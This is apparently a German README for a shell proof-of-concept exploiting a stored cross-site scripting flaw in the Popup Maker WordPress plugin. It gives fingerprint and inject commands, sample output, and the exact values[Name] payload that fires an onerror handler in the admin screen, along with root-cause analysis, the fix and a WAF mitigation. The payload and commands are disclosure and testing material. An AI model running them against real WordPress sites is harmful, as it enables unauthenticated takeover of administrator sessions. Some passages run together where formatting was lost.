Shell-PoC für CVE-2026-87915, eine unauthentifizierte gespeicherte XSS-Schwachstelle im WordPress-Plugin Popup Maker (<=1.24.0). Fingerprintet das Plugin und demonstriert die Payload-Injektion.
| Komponente | Popup Maker – Boost Sales, Conversions, Optins, Subscribers (WordPress-Plugin) |
| Typ | CWE-79 — Gespeichertes Cross-Site Scripting |
| Betroffen | <= 1.24.0 |
| Behoben | 1.25.0 |
| CVE | CVE-2026-87915 — CVSS 3.1 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
Ein öffentliches Popup Maker Optin-/Newsletter-Formular akzeptiert den Parameter values[Name] ohne
Sanitisierung (action=pum_sub_form). Der Wert wird serverseitig gespeichert und später im
Admin-Bildschirm Subscribers gerendert. Die auf die Ausgabe angewendete wp_kses()-Filterung ist in diesem
Kontext unzureichend: HTML-Entities innerhalb erlaubter Attributwerte überleben die Normalisierung und werden von
der jQuery( link.attr('href') )-DOM-Senke in wp-admin/js/common.js ausgewertet, wenn ein Administrator
einen Anker des kontextuellen Hilfe-Tabs anklickt. Nettoeffekt: unauthentifiziertes gespeichertes XSS gegen einen Administrator
(ein Klick auf der Admin-Seite erforderlich).
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and detect a public subscribe form
./poc.sh check --target https://example.com
# Store the payload (writes ONE subscriber row; requires authorization)
./poc.sh inject --target https://example.com --authorized
inject verwendet standardmäßig eine eindeutige Test-E-Mail und gibt die Bereinigungsschritte aus (Admin-UI oder
DELETE FROM wp_pum_subscribers WHERE email = '…';).
check)== CVE-2026-87915 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Popup Maker assets are served (plugin installed)
[info] detected version: 1.22.0
[PASS] version 1.22.0 is in the affected range (<= 1.24.0)
[2] Public subscribe form detection (read-only)
[PASS] Popup Maker markup found on the site (a public form may accept values[Name])
inject, Labor)[3] Stored injection via pum_sub_form (writes one subscriber row)
response: {"success":true,"data":{"message":"You have been subscribed!"}}
[PASS] the server accepted and stored the payload unauthenticated
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
values[name] (Kleinschreibung) ist das normale Feld; das gemischtgeschriebene values[Name] kollidiert während
der PHP-Array-Key-Normalisierung und trägt die Payload durch.wp_kses() erlaubt das <a href>-Element; das entity-kodierte `` innerhalb des
Attributs überlebt die Filterung und wird später dekodiert/normalisiert.wp-admin/js/common.js wertet jQuery( link.attr('href') ) aus, was das dekodierte HTML parst
und den onerror-Handler auslöst.esc_html() + sanitize_text_field() auf den
gespeicherten Wert; siehe den Vendor-Changeset für classes/Admin/Subscribers/Table.php).values[Name] auf WAF-Ebene filtern.Nur für autorisierte Sicherheitstests. check ist schreibgeschützt; inject erstellt genau eine Test-
Abonnentenzeile — löschen Sie diese anschließend mit dem ausgegebenen Bereinigungsbefehl.